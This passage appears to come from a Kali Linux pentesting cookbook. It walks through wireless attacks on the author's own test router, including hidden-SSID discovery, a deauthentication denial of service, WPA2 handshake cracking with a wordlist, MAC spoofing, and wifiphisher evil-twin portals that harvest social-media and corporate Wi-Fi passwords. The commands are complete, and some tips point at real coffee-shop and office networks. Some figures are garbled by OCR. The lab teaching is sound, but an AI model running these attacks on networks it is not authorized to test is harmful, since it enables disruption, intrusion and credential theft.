WPA2 CCMP ¢ Alula236588

WPA2 CCMP °S IoT

WPA2 CCMP M omega

WPA2 CCMP <length: 0>

WPA2 CCMP K <length: 0>

on

cocorococococo o

Frames Notes Probes

Figure 11.12 - Dump including hidden SSIDs

Let’s capture packets specifically from that one particular BSSID:

sudo airodump-ng --bssid 94:83:C4:3B:13:40 -c 36 -w hidden_ssid

wlan@mon

\E/\/ Tip

The -c denotes the specific channel to scan.

You can sit at this screen all day, and you will never see anything happen to that SSID.
This is because an access point transmits its SSIDs through beacons. However, when
they are hidden, it does not include the SSID in the beacons. To find it, you have to wait
until a client connects. Using your cell phone or another device, connect to the hidden
SSID with the name and credentials you created. As soon as you connect, you will see the

name discovered:
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Elapsed: 4 mins ][ 2025-06-22 11:11 ][ WPA handshake: 94:83:C4:3B:13:40

PWR RXQ Beacons #Data, #/s CH "B ENC CIPHER AUTH ESSID
:3B:13:40 -29 100 2664 3 36 780 WPA2 CCMP PSK | Hidden-5G
STATION 3 Lost Frames Notes Probes

:3B:13:40 58:66:6D:A9:63:8B ¢ 6 L 118 EAPOL

Figure 11.13 - Hidden SSID discovered

9. Toregain standard usage of your wireless adapter, enter the following:

sudo airmon-ng stop wlan@mon

sudo systemctl restart NetworkManager

10. You may now exit the terminal window.

If you will not be continuing to the next recipe in a short period of time, I would suggestlogging

back in to the Opal Wi-Fi router and disabling the wireless.

How it works...

When an AP is configured to hide its SSID, it does not include the network name in its beacon
frames. However, the AP still responds to probe requests from clients, and the responses include
the full SSID. Additionally, when a client device connects to a hidden SSID, it reveals the SSID as

part of the association request.

There’s more...

While some people still deploy hidden SSIDs, they offer no real protection against anyone with
basic wireless reconnaissance tools, as you have discovered through this recipe. Further, some
client devices misbehave when probing for hidden networks, actively broadcasting their presence

more aggressively and weakening overall privacy.

Examining collected data

In this recipe, we will examine the previously captured data with Wireshark. Understanding how to

decode wireless frames is an important aspect of working with wireless networks while pentesting.
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Getting ready

You need the following to complete this recipe:

e  KaliLinux to be up and operational

e  The captured files from the previous recipe, Scanning for hidden SSIDs

How to do it...
1. From Kali, open Wireshark.
2. From the top menu, select File | Open, browse to /home/kali/wlan-hidden, and open
the hidden_ssid-01.cap file.

You will be presented with a list of the packets captured from the previous recipe.

3. Spend some time looking through the packets.
4. When ready, look for a beacon frame. Note the SSID; it will show Wildcard. This is an
indication of the hidden SSID:

ADAOrRBBRR ac>n«>MEoco@E

Apply a display filter

Source Destination Protocol Length Info

10.600000 GLTechnologi 3b:13:.. Broadcast = 219 Beacqa frame, SN=2637, BI=100, SSID=Wildcar
2 8.089129 ce:d6:76:69:1:50 g 16 Acknoiledgement, Flags= 5

39.481267 GLTechnologi 3b:13:.. Broadcast : 76 Data, 30, F

49.481284 GLTechnologi_3b:13:.. Broadcast 3 76 Data, SN=2731,

5 11.205451 Broadcom_60:ff:ff £ 16 Clear-to-

6 11.215165 Broadcom_00:ff:ff
7 19.721005 GLTechnologi 3b:13:.. Broadcast
8 19.721036 GLTochnologi 3b:13:.. Broadcast B 76 Data, SN=2833, FN=(
9 23.903981 ce:d6:76:69:1c:50 2 16 Acknowledgement, F
10 28,758661 3 16 Acknowledgement, F
11 29.271301 : :1c: 16 Acknowledgement, Flag
12 29961555 GLTechnologi_3b:13:.. Broadcast
13 29.961566 GLTechnologi_3b:13:.. Broadcast
14 33,624268 ce:d6:76:69:1c:50
15 40.201249 GLTechnologi_3b:13:.. Broadcast

Figure 11.14 - Beacon frame

5. Scroll down until you first see the device you connected to the access point in the last
recipe; for me, it was an Apple device. Note that the Apple device begins the connection
with packet 156, and the first indication of the SSID is sent from the Apple device to the

Opal travel router in packet number 160. Packet numbers will vary in your output:

Destination Protocol  Length Info
148 268.679836 Broadcom_64:63:8b  862.11 16 Clear-to-send,
149 268.686205 862.11 16 Clear-to-send,
150 268.686210 862.11 16 Clear-to-send,
151 268.680604 862.11 16 Clear-to-send,
152 268.680668 862.11 16 Clear-
153 268.681153 862.11 16 Clear-
154 268.681159 862.11 16 Clear-

155 268.681256 63: 862.11 16 Clear-to-send,

156 268.708902 Apple_a9:63:8b _3b:13:.. 862.11 66 Authentication, SN=3804, FN=6,
157 268.708913 _ 862.11 16 Acknowledgement, Flags=.

158 268.709135 GLTechnologi_3b:13:.. 862.11 36 Authentication, SN=123;

159 268.709140 :13:.. 862.11 10 Acknowledgement, Flags:

160 268.710961 Apple_39:63:8b & . 862.11 204 Association Request, Sl

161 268.710965 862.11 16 Acknowledgement, Flags:
162 268.745978 GLTechnologi_3b:13:.. Apple_a9:63:8b 862.11 154 Association Response, SN:

Figure 11.15 - Apple device connecting to a hidden SSID
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6.

7.

On your device, find this first packet and expand it out and note where the SSID is indi-

cated in this packet. Expand the IEEE 802.11 Wireless Management section and then

Tagged parameters:

159 268.709140
160 268.710961
161 268.710965
162 268745978
163 268.745982
164 268783456
165 268.783473

ceee veea @
1110 1161 1101 .

[WLAN Flags: .

1
~ IEEE 802.11 Wireless Management
~ Fixed parameters (4 bytes)
» Capabilities Information: 0x8011
Listen Interval: exee1d
« Tagged parameters (176 bytes)
SSID pagameter set:
Supported Rates
Power Capability Min:
Supported Channels
RSN Information
Supported Operating Classes

» Tag:
» Tag:
» Tag:
+ Tag:
» Tag:
+ Tag:

® B hidden_ssid-07.cap

GLTechnologi_3b 16 Acknowledgement, Flags=
284 Association Request, SN:

16 Acknowledgement, Flags=
154 Association Response,

10 Acknowledgement, Fla
133 Key (Message 1 of 4)

10 Acknovledgement, Flags=

Apple_a9:63:8b
6LTechnologi_3b:13:.

GLTechnologi_3b:13:.. Apple_a b
GLTechnologi_3b:13:.. 862.11

0 006 00 3c 00 94 83 c4 3b
94 83 c4 3b 13 40 do ed
64 64 65 6e 2d 35 47 01

9 6c 21 02 f2 14 24 0a 24
01 30 14 61 €0 00 Of ac
08 60 Bf ac 62 6c 00 3b

equence number: 3805

7f 7e 7d 7c 7b 7a 79 78
6f 80 1b ff ff 00 00 00
06 66 B0 66 60 60 00 60
00 00 60 ce 61 bf ec 76
ff 00 20 dd @b 60 17 f2
dd 05 60 96 4c 04 07 dd
00 00 62 dd 67 00 50 f2

"Hidden-56"
, 9, 12(B), 18, 24(B), 36, 48, 54,

-14, Max: 20

[Mbit/.

Packets: 1856

Figure 11.16 - SSID parameter

505, FN=0, Flags=

13 46 58 66 6d a9 63 8b
11 06 14 00 00 09 48 69
08 8c 12 98 24 bo 48 60
04 34 04 64 0c 95 84 a5
04 61 60 €0 of ac 84 61
15 86 86 85 84 83 81 86
77 76 75 74 73 51 2d 1a
00 66 60 60 00 80 8O 86
66 66 7f 69 84 B0 B8 86
70 81 of fa ff 8o e fa
6a 66 01 64 00 60 6O 66
0a 00 16 18 0z 006 00 10
0z ee o1 ee

SSID="Hidden-

@ H
dden-56 S H
.88 .4d

(]

-)|(zy;< wvutsQ-
o 1

Profile: Default

Expand the Tag: Supported Channels section, and you will see the channel listed that

we are monitoring:

~ Tagged

1110

1101 1101 .. = Sequence number: 3805

[WLAN Flags: ]
~ IEEE 802.11 Wireless Management
~ Fixed parameters (4 bytes)

b

b

>
»
v

Capabilities Information: 6x0011
Listen Interval: 0x0014
parameters (176 bytes)
SSID parameter set: "Hidden-5G"
Supported Rates 6(B
Tag: Power Capability Min:
Tag: Supported Channels
Tag Number: Supported Channels (36)
Tag ldygth: 16
Supported Channels Set #1 First: 36, Range: 4
Supported Channels Set #2 First: 52, Range: 4

Tag:
Tag:
-14, Max: 20

Supported Channels Set #3 First: 100, Range: 12

Figure 11.17 - Supported Channels

9, 12(B), 18, 24(B), 36, 48, 54,

[Mbit/..

8. When you are ready to move on after reviewing several of the different packets, you may

9.

close Wireshark.

Open your file manager and browse to the /home/kali/wlan-hidden directory and view

the different types of files captured. Note the two files with kismet in their name. Kismet is

another very popular tool for network detection, packet sniffing, and intrusion detection.

These files are specifically formatted for ingestion by the Kismet tool.
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wlan-hidden

Places

B Computer

Figure 11.18 - Kismet files

10. Now, open the file named hidden_ssid-01.csv. This is basically the representation of

the terminal output as we were running airodump-ng.

BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV

, LAN IP, ID-length, ESSID, Key

94:83:C4:3B:13:40, 2025-06-22 11:07:18, 2025-06-22 11:13:18, 36, 780, WPA2, CCMP, PSK, -26, 3493, 211,
e. 0. 6. o, 9, Hidden-5G,

Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs

:6D:A9:63:8B, 2025-06-22 11:11:47, 2025-06-22 11:12:38, -38, 394, 94:83:C4:3B:13:40,
4:2F:C5:10, 2025-06-22 11:12:03, 2025-06-22 11:12:04, -46, 12, 9 3:C4:3B:13:40,Hidden-5G
:DO:0A:23:30, 2025-06-22 11:12:38, 2025-06-22 11:12:38, -38, 3, 94:83:C4:3B:13:40,

Figure 11.19 - The hidden_ssid-01.csv file

11. Next, openthehidden_ssid-01.log.csv file. You will note that thisis a simplified packet
dump.

hidden_ssid-01log.csv = (~/wian-hidden) - GVIM

34,1900-01-00 :00: : :A9:63: 0.60 9,0.000000,0.000,0.000,Client
34,1900-01-00 00:00:00 :A9:63:88, - )0000,0,000000,0.000,0,000,Client
:34,1900-01-00 :00: »58:66:6D: - 00000,0.000,0.000,Client
34,1900-01-00 00:00: :6D: .- .000000,0.000,0.000, Client
:34,1900-01-00 :00; »58: :A9:63:8B, -39, 0,0.000000,0.000,0.000,Client
34,1900-01-00 00:00:00, Hidden-5G,94:83:C4:38: ,-27, WPA2 ,0.800000,0.000000,0.0600,0.000,AP
34,1900-01-00 :00:00,Hidden-56G, = 0.000000,0.000000,0.000,0.000,AP
34,1900-01-00 00:00:00,,58:66:6D: .- ,0. ,0. .000, Client

2025-86-22 34,1900-61-00 00:00:00,Hidden- B y i 0¢ ,0.000,0.000,AP

2025-06-22 35,1900-01-00 00:00:00,Hidden-5G,94: 000000,0.000,0.000,AP

2025-06-22 35,1900-01-00 00: ©.000,Client
+35,1960-61-00 00:00:00,,58:66:6D: ' 06000,0.000,0.000,Client

2025-06-22 :35,1900-61-00 00:00:00,Hidden-56,94:83:(4:38 WPA2 ,0.800000,0.000000,6.000,0.000,AP

2025-06-22 +35,1900-01-00 00:00:00,,58:66:6D: A9:63:88,

-40,,0.000000,0,.000000,0,000,0.000,Client
+35,1960-61-00 00:00:00,Hidden-56,94:83:C4:3B:13:46,-27, WPAZ 0 0.000,0.000,AP
:35,1900-01-00 00:00:00, Hidden-56,94:83:C4:38:13:40,-27, WPA2 0600000,6.000,0.060,AP
:35,1960-01-00 00:00:00,Hidden-56,94:83:04:3B:13:408, -27, WPAZ ,0 ¢ @, .000,AP

N
51
N
«
-3
o
~
~
b bkttt b e b ket et et e e (b

JB025-06-22 :35,1900-01-00 00:00:00,,58:66:60: ,-38,,0.000000,0.0000¢

:35,1900-61-00 00:00:00,Hidden-56, P 060, AP
2025-06-22 35,1900-01-00 00:00:00,,58:66:6D: ,0.000,0.000,Client
2025-06-22 35,1900-01-00 00: 00000,0.000,0.000,Client
2025-06-22 35,1900-01-00 00: 2 ,0.000000,0,000000,0.000,0,000,AP
2025-86-22 +35,1000-01-00 00: 000,0.000,0.000,Client

3591,1 88%

Figure 11.20 - Simplified packet dump

12. You may close the window when done.
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How it works...

In the previous recipe, we used -w to output information to files. This resulted in our ability to
use other tools and be offline while analyzing our data. Often, you may be working with several
attack vectors all at once, which does not offer you the ability to work with the output live. We

were able to use Wireshark to review the captured file. Further, we examined the available CSV files.

There’s more...

You can directly use Wireshark with the wireless adapter. First, you set up the wlan@mon interface,
then you can open Wireshark and select that interface for scanning. For more information, please

review https://wiki.wireshark.org/CaptureSetup/WLAN.

Performing a wireless DoS attack: deauthentication
attack

In this recipe, we will perform a DoS attack against a wireless network using deauthentication
frames. These frames are part of the 802.11 standard and are normally used to manage disconnec-
tions between access points and clients. By exploiting this mechanism, we can forcibly disconnect
clients from a wireless network, either briefly or continuously. This attack is commonly used to
disrupt service, capture handshakes for cracking, or as a precursor to more advanced man-in-
the-middle attacks.

Getting ready

You need the following to complete this recipe:

e  Youmust have completed the Building a WLAN testing environment recipe
e  Kali Linux must be up and operational

e The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (1susb)

How to do it...

1. From Kali, open a web browser and go to the Opal travel router IP address
(http://192.168.8.1) and log in.

2. From the main interface, click on WIRELESS, enable the 2.4 or 5 GHz radios (I will be using
the 5 GHz radios to reduce interference with my production 2.4 GHz network), and set the
transmit power to Low. Change the SSID to Kali_Test and set SSID Visibility to Shown.
Ensure you have WPA2-PSK for Wi-Fi Security and set Wi-Fi Password to goodlife.


https://wiki.wireshark.org/CaptureSetup/WLAN
http://192.168.8.1
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GL-iNet | Admin Panel va32s e v » | ¢ @

& Processing, please wait

Wireless

* 5GHz WiFi 5GHz Guest WiFi

Enable Wi Fi [ o @)

TX Power Low

Wi-Fi Name (SSID)

WiFi Security

WiFiPassword | ssssssss

SSID Visibility

Wi-Fi Mode

Bandwidth

Figure 11.21 - Opal router SSID setup

3. Youmay now close the web browser.

4. From Kali, open a terminal window and enter the following commands to prepare your

wireless card:

sudo airmon-ng check kill

sudo airmon-ng start wlan@

5. Let’s start a dump of the packets:

sudo airodump-ng --band a wlan@mon

Tip
\@/ Since I am using just the 5 GHz radio, I am limiting my scan to just that fre-
quency. If you opted to use the 2.4 GHz, remove the --band a part.

6. Onthe screen, look for the Kali_Test SSID. Make note of the channel and the BSSID.

2025-06-22 19:13
Beacons #Data, #/s Ct M ENC CIPHER AUTH ESSID

MP PSK
W Por
CMAC on

MP PSK <lengtt

STATION 2\ ate ost rames Notes Probes

Figure 11.22 - BSSID and channel
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7.

8.

10.

11.

Using a separate device (in my case, I used an Apple iPhone), connect to the Kali_Test

SSID and ensure connectivity.

Let’s make sure this AP matches the BSSID and the channel noted in the previous step:

sudo airodump-ng --bssid 94:83:C4:3B:13:40 -c 36 wlan@mon

Tip

&

This will also help set the proper channel for the deauth attack.

Open a new terminal window, and we can prepare the deauth attack (do not press Enter

on this command yet!):

sudo aireplay-ng --deauth © -a 94:83:C4:3B:13:40 wlan@mon

Before pressing Enter, open the Wi-Fi screen of the device you have connected to the

Kali_Test Wi-Finetwork. Ensure it’s connected and watch it carefully.

Now, press Enter on the command you previously prepared.

. File Actions Edit View Help

CH 36 ][ Ela

File Actions Edit View Help

Figure 11.23 - Deauth

12. Almostinstantly, you will see the Wi-Fi on the device get disconnected from theKali_Test

network.
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13. When done, you may close the terminal window with the deauth attack to end it.
14. In the terminal window, you can stop the dump with Ctrl + C.

15. To regain standard usage of your wireless adapter, enter the following:

sudo airmon-ng stop wlan®mon

sudo systemctl restart NetworkManager

16. You may now close the terminal window.

If you will not be continuing to the next recipe in a short period of time, I would suggest logging

back in to the Opal Wi-Firouter and disabling the wireless.

How it works...

We begin sending deauthentication frames. These frames are unauthenticated in WPA2 and
earlier standards, meaning that any device in range can spoof the source address of the AP and
broadcast deauth frames to client devices. The client, believing the disconnection is legitimate,

drops the connection and attempts to reconnect.

By continuously sending deauth frames, we can prevent clients from connecting to the wireless
network, effectively creating a DoS condition. The AP itself remains operational, but its users
are unable to maintain connectivity. This attack is particularly effective on networks that do not

implement management frame protection (802.11w), which is optional in many environments.

There's more...

While deauth attacks are easy to execute, they are also noisy and easily detected by wireless in-
trusion detection systems (WIDSs). Additionally, newer networks using WPA3 with mandatory
protected management frames (PMFs) are immune to this type of attack, as deauth frames must
be cryptographically signed to be accepted. This attack is commonly used in conjunction with

WPA2 handshake captures, rogue AP deployment, or evil twin scenarios.

Cracking WPA2 keys

In this recipe, we will capture and crack a WPA2-PSK handshake to recover the wireless network
password. WPA2 is widely used in enterprise and home networks, and while it offers strong en-
cryption, it is only as secure as the passphrase used to protect it. Using Kali Linux and standard
tools such as airodump-ngand aircrack-ng, we will capture the four-way handshake exchanged

between a client and an AP, and then use a dictionary attack to crack the password.
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Getting ready

You need the following to complete this recipe:

e  You must have completed the Building a WLAN testing environment recipe
e  Kali Linux must be up and operational

e The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (1susb)

How to do it...

1. From Kali, open a web browser and go to the Opal travel router IP address
(http://192.168.8.1) and log in.

2. From the main interface, click on WIRELESS, enable the 2.4 or 5 GHz radios (I will be using
the 5 GHz radios to reduce interference with my production 2.4 GHz network), and set the
transmit power to Low. Change the SSID to Kali_Test and set SSID Visibility to Shown.
Ensure you have WPA2-PSK for Wi-Fi Security and set Wi-Fi Password to goodlife.

GL-TNet | Admin Panel via25 @ U o | @

« Processing, please walt

Wireless

* 5GHz WiFi 5GHz Guest WiFi

Enable Wi-Fi [ on @)

TX Power Low

Wi-Fi Name (SSID)

Wi-Fi Security

Wi-Fi Password sescsese

SSID Visibility

Wi-Fi Mode

Bandwidth

Figure 11.24 - Wi-Fi setup

3. Youmay now close the web browser.

4. From Kali, open a terminal window and enter the following commands to prepare your

wireless card:

sudo airmon-ng check kill

sudo airmon-ng start wlan®



http://192.168.8.1
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5. We will create a directory with the following:

mkdir wlan-crack

cd wlan-crack

6. Let’s start a dump and document the BSSID of the Kali_Test WLAN and the channel:

sudo airodump-ng --band a wlan@mon

7. Exitwith Cerl + C.
8. ConnecttoKali_Test from another device or computer.

9. Starta dump logging the output to a file, as shown in the figure that follows:

sudo airodump-ng --bssid 94:83:C4:3B:13:40 -c 36 -w wpa2-crack
wlan@mon

~
r wlan-crack

wlan-crack

~/wlan-crack
rack wlanOmon

Figure 11.25 - airodump

10. From the output, we can see our test device connected:

CH 36 ][ Ela i: 2 mins ][ 20

PWR RXQ Beacons #Data /s CH ENC CIPHER AUTH ESSID
94:83:C4:3B:13:40 -27 100 1340 223 780 WPAZ CCMP
BSSID STATION 3 xate DSt Frames Notes Probes

EAPOL Kali_Tes
EAPOL

Figure 11.26 - Dump output with device connected

11. Now, we are going to create a deauth attack to disconnect the client a couple of times. To
start, open a new terminal window and enter the following commands, as shown in the

figure that follows:

sudo aireplay-ng --deauth 5 -a 94:83:C4:3B:13:40 wlan@mon
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Figure 11.27 - A deauth attack on the connected client

12. Run the preceding command two or three times, ensuring that your client reconnects to
that SSID.

Tip
V4 When you are using a test device that connects to other, in-range SSIDs, if
\Q/‘ you are not careful, it may not reconnect to the Kali_Test SSID. We need

some successful connections to be able to capture the proper handshake

packets for us to crack.

13. Once done, you may close the terminal window.

14. Return to the terminal window where we are monitoring the dump packets and exit the
dump with Ctrl + C.

15. Now, let’s crack the password using the following, as shown in the figure that follows:

sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b
94:83:C4:3B:13:40 wpa2-crack-01.cap

[00:00:01] 16974/103
Time left: 13 minutes, 1 or 0,16%
KEY FOUND! [

Master Key
5E

Transient Key : C 00 0 00 00 00 00
00 00 00 00

EAPOL

)- [~/wlan-crack

Figure 11.28 - Aircrack
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16. Toregain standard usage of our wireless adapter, enter the following:

sudo airmon-ng stop wlan®@mon

sudo systemctl restart NetworkManager

17. You may now exit the terminal window.

If you will not be continuing to the next recipe in a short period of time, I would suggest logging

back in to the Opal Wi-Fi router and disabling the wireless.

How it works...

WPA2-PSK protects wireless traffic by encrypting it with a key derived from the passphrase and
SSID. When a client connects to a WPA2-protected network, a four-way handshake occurs be-
tween the client and the AP. During this handshake, key material is exchanged in such a way that
anyone capturing the handshake can attempt to crack the password offline using dictionary or

brute-force attacks.

Spoofing a valid client’'s MAC address

In this recipe, we will be spoofing the address of a valid client connected to the wireless network.
MAC authentication is still widely used when it comes to guest access. Guest access will normally
just provide internet access, butit can be used as an attack vector for the internal network, as they
often coexist. Further, MAC authentication, while weak, may be used as a form of security for
legacy devices that don’t support more robust authentication mechanisms. This is a poor form
of security and is being aged out, but you can still find it in use today. You will often see it being

used for older printers, medical devices, and many legacy devices.

Getting ready

You need the following to complete this recipe:

e You must have completed the Building a WLAN testing environment recipe
e  Kali Linux must be up and operational
e The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (1susb)

e Additional wireless devices are needed for testing
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How to do it...

1

From Kali, open a web browser and go to the Opal travel router IP address
(http://192.168.8.1) and log in.

From the main interface, click on WIRELESS, enable the 2.4 or 5 GHz radios (I will be using
the 5 GHz radios to reduce interference with my production 2.4 GHz network), and set the
transmit power to Low. Change the SSID to Kali_Test and set SSID Visibility to Shown.
Ensure you have WPA2-PSK for Wi-Fi Security and set Wi-Fi Password to goodlife.

You may now close the web browser.

From Kali, open a terminal window and enter the following commands to prepare your

wireless card:

sudo airmon-ng check kill

sudo airmon-ng start wlan®@

Let’s start a dump and document the BSSID of the Kali_Test WLAN and the channel:

sudo airodump-ng --band a wlan@mon

Exit with Ctrl + C.

Start a dump specifying a specific BSSID and logging the output to a file:

sudo airodump-ng --bssid 94:83:C4:3B:13:40 -c 36 wlan@mon

Connect to Kali_Test from another device or computer. Look for the device with alarge

number of frames and capture its station MAC address (2E:0C:F8:1D:9E:@D):

CH 36 ][ Elapsed: 48 s ][ 2025-07-04 15:57 ][ WPA handshake: 04:83:C4:3B:13:40
FWR RXQ Beacons tiData, H#/s C MB ENC CIPHER AUTH ESSID
t3B:13:4@ -3@ 96 46 329 ] 3 WPAZ CCMP PSK Kali_Test

STATION Frames MNotes Probes

EABOL__Fald Test

EAPOL

Figure 11.29 - Wireless client MAC address
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10.

11.

12.

13.

Tip
Because you can see the MAC address of the client device easily, it’s best to be
V4 able to do an Organizationally Unique Identifier (OUI) lookup (https://
\E/ www.wireshark.org/tools/oui-lookup.html) to determine the type of
device. For instance, you can determine the manufacturer of the device from

the lookup. If you see Epson or Brother, it’s a good chance it’s a printer and

may be susceptible to the attack.

From the device you are connected with, you can validate the MAC address and also
document the IP address you received (192.168.8.154).

You could further view this information by logging into the Opal router and clicking on
CLIENTS.

192.168.8.154 o 447.01 KB

L[ iPhone
2E:0C:F8:1D:9E:0D @ V 290.58 KB

Copyright @ 2025 GL.iNet. All Rights Reserved

Figure 11.30 - Clients page from the Opal router

Disconnect the device that was connected with the MAC address listed.

We want to put our device back into a standard mode to attempt a connection. Use the

following:

sudo airmon-ng stop wlan@mon

sudo systemctl restart NetworkManager

Let’s change our wireless MAC address to that of the device, as shown in the figure that

follows:

ip link set wlan® down

macchanger -m 2e:0c:f8:1d:9e:0d wlan®

ip link set wlan®@ up



https://www.wireshark.org/tools/oui-lookup.html
https://www.wireshark.org/tools/oui-lookup.html
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wlan® dowr

Figure 11.31 - macchanger

14. Now, let’s connect to the Kali_Test network:

sudo nmcli device wifi connect "Kali_Test" password "goodlife"
ifname wlane

15. Let’s see what we have for an IP address and MAC address using ifconfig:

wlano:

Figure 11.32 - The ifconfig output

You will see we have the same IP address and the device you connected with before, and

the MAC address is the one we changed to.

16. Now, we must revert our changes to our normal operating state:

sudo ip link set wlan® down

sudo macchanger -p wlan@

sudo ip link set wlan@ up

sudo nmcli connection delete Kali Test

17. You may now exit the terminal window.

If you will not be continuing to the next recipe in a short period of time, I would suggestlogging

back in to the Opal Wi-Fi router and disabling the wireless.
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How it works...

You put the wireless adapter into monitor mode, and using airodump-ng, you can observe which
MAC addresses are currently connected to the network. Once a valid MAC address is identified,
tools such asmacchanger can be used to spoof your interface to match that address. If the network
is open or uses a known WPA?2 password, you can then connect as that client. In environments
with MAC filtering but no other authentication, this may be all that’s needed to gain access. In
networks with shared WPA2 keys, spoofing the MAC can allow you to hijack a session or avoid

detection.

MAC address spoofing is one of the simplest and most widely used evasion techniques in wireless
attacks. It can be used not only to bypass MAC filters but also to anonymize the attacker’s hardware,

impersonate trusted devices, or evade network detection systems that log hardware identities.

See also

More information on macchanger can be found at https://tools.kali.org/information-

gathering/macchanger.

Using public Wi-Fi to capture credentials

In this recipe, we will simulate a public Wi-Fi environment and launch a rogue access point (evil
twin) designed to capture user credentials through a fake captive portal. Usingwifiphisher, we
will broadcast a wireless network that appears open and inviting, and then redirect connected
users to a spoofed login page that mimics a Facebook authentication prompt. Attackers can ex-

ploit the trust users place in public Wi-Fi hotspots and social login pages to harvest credentials.

Getting ready

You need the following to complete this recipe:

e  Youmust have completed the Building a WLAN testing environment recipe
e  Kali Linux must be up and operational
e The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (1susb)

e Anadditional wireless device is needed for testing


https://tools.kali.org/information-gathering/macchanger
https://tools.kali.org/information-gathering/macchanger
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How to do it...

1.  First, install or ensure that wifiphisher is installed by opening a terminal window and

typing the following:

sudo apt update

sudo apt install wifiphisher

2. Now, simulate a coffee shop’s Wi-Fi using the following:

sudo wifiphisher -e 'Coffee_Shop'

Tip
V4 Let’s say you were in a coffee shop, then you would want to use the name
\Q/ of their Wi-Fi. Wifiphisher will automatically start sending deauth pack-

ets to the legitimate Wi-Fi APs in the hope of forcing connections to your

spoofed one.

3. You will be presented with a menu of attack vectors. Choose OAuth Login Page:

Available Phishing Scenarios:

1 - Browser Plugin Update
ric pl

3 - Network Manager Connect
Th to imita a 0 s he
e window th the page

Figure 11.33 - OAuth Login Page selection

4. Your attack screen will be as shown:
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Figure 11.34 - Attack status screen

5. Now, from a client, connect to the Coffee_Shop Wi-Fi:
Other Networks
Alula236588
Coffee_Shop

Flower

loT

Figure 11.35 - Connecting to Wi-Fi

6. Within a moment, a captive portal page will load:

A simple, no frills Wi-Fi service.

Login with Social Media

Login with Facebook

Login with Twitter

Terms of Usage

Figure 11.36 - Captive portal page
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7. Select one and provide some fake credentials:
[ ] Facebook
ttps://www.facebook.com/login
Facebook
Log in with your Facebook account:
Email or Phone:
Password:
Figure 11.37 - Social login
8. When you connect and provide the credentials, you will see all of the entered information
populate on your attack status screen, where you can document the information collected:
|
|
|
|
|
|
hop' (Evil Twin) |
http://fonts.gstatic.com/s/roboto/v15/RxZIdnzeo3R5zSexgesUlaClcynf_cDXXwCL
http://fonts.gstatic.com/s/roboto/v15/d-61YplOFocCacKzxuXSOKCHcynf_cDXXwCL
or httn://fonts gstatic com/s/rohoto/u15/mnnfiOnxYH-GoSUiihESTacWcyne cDXXwCL
m 10.0.0.22 with wfphshr-username=jdoegexample.comdwfphshr-password=jdoeiscool
or http://captive.apple.com/hotspot-detect.html
Figure 11.38 - Information populated on status screen
9. From the terminal window, press Esc to exitwifiphisher. Note that on shutdown, it will

show the captured credentials again:
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HTTP/HTTPS
r el

o/ /twi

Figure 11.39 - Exiting wifiphisher

10. You may now close the terminal window.

How it works...

Public Wi-Fi networks often use captive portals to require user interaction before granting internet
access. This interaction typically takes the form of an HTTP redirect to a branded login or terms
acceptance page. When a victim connects to the rogue AP, wifiphisher uses its built-in DHCP,
DNS spoofing, and HTTP server modules to redirect all web traffic to the attacker’s phishing
page. The victim is tricked into entering their credentials into what they believe is a legitimate
login form. Once submitted, these credentials are logged and stored. Because many users reuse
passwords across multiple platforms, even a simple social login can give an attacker access to

valuable accounts and identity information.

See also

For more information on the capabilities of wifiphisher, check out its web page at https://

www.wifiphisher.org.

Attacking the corporate Wi-Fi network

In this recipe, we will simulate a corporate wireless network in order to deceive users into disclos-
ing the WPA2 pre-shared key. Using wifiphisher, we will create a rogue AP that clones the name
of alegitimate corporate SSID. When victims attempt to connect to the rogue network, they will

be redirected to a phishing-style captive portal that requests the network password.


https://www.wifiphisher.org
https://www.wifiphisher.org
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Getting ready
You need the following to complete this recipe:
e  You must have completed the Building a WLAN testing environment recipe
e  Kali Linux must be up and operational
e The ALFA (MediaTek) USB wireless adapter must be recognized by Kali (1susb)

e Anadditional wireless device is needed for testing

How to do it...

1.  First, install or ensure that wifiphisher is installed by opening a terminal window and

typing the following:

sudo apt update

sudo apt install wifiphisher

2. Now, simulate a company’s corporate Wi-Fi, as shown here:

sudo wifiphisher -e 'Corporate’

Tip
V4 You could be outside an office building and use this attack, as the Wi-Fi will
\E/‘ bleed through the walls. Another great time is around lunch and breaks on

nice days when people may go outside. This will try and deauth clients from

the corporate Wi-Fi network and force them to connect to yours.

3. Youwill be presented with a menu of attack vectors. Choose Network Manager Connect.
4. From a test device, connect to the Corporate Wi-Fi network:

Other Networks

Alula2365B8

Corporate

loT

Kali_Test

Figure 11.40 - Connecting to the Corporate Wi-Fi
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5. Within a moment, a captive portal page should load. We are looking to try and capture
the Wi-Fi password. Enter something here:
Enter the password for "Corporate"

Enter Password Join

Password eeesseseseccseee

You can also access this Wi-Fi network by bringing your device near any iPhone, iPad, or Mac
which has connected to this network and has you in their contacts.

captive.apple.com Cancel

Figure 11.41 - Corporate Wi-Fi captive portal

Tip

\/V Even if the user does not know the password, they can get it from the help
desk. The artifacts presented on this page would be sufficient to trick the

user into describing the Wi-Fi login that someone would receive.
6. On your attack status screen, you will see the credentials you entered:

porate' (Evil Twin)

[*] GET from 10.0.0.39 for http://captive.apple.com/hotspot-detect.html
[*] GET request from 10.0.0.39 for http://captive.apple.com/hotspot-detect.html

[s] cET

*] POST request from 10.0.0.39 with w'fpilshr'—wpa—pa's'sword:m&mpazbassword

40,0 .0 20 cos hitn. //cant annle.comZhotsnat. datact himl

Figure 11.42 - Credentials captured
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7. From the status screen, press Esc to exit and note the passwords captured — I connected

from two different devices:

Figure 11.43 - Exiting with the captured credentials

8. You may now close the terminal window.

How it works...

Most client devices automatically attempt to reconnect to known SSIDs. We can take advantage of
this by broadcasting a rogue AP that clones the SSID of a corporate network, typically protected by
a password. Since the real AP is not broadcasting in the attacker’s location or has been temporarily
deauthenticated, the victim device associates with the rogue AP. Once connected, wifiphisher
launches a phishing attack, prompting the user to enter the Wi-Fi password. When the user sub-

mits the password, itis captured and then can be used to authenticate to the legitimate network.

Get This Book’s PDF Version and
Exclusive Exiras

Scan the QR code (or go to packtpub.com/unlock). Search for this

book by name, confirm the edition, and then follow the steps on

the page.

Note: Keep your invoice handy. Purchases made directly from Packt

don’t require an invoice.
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Web Warriors: Exploiting
Online and Database
Vulnerabilities

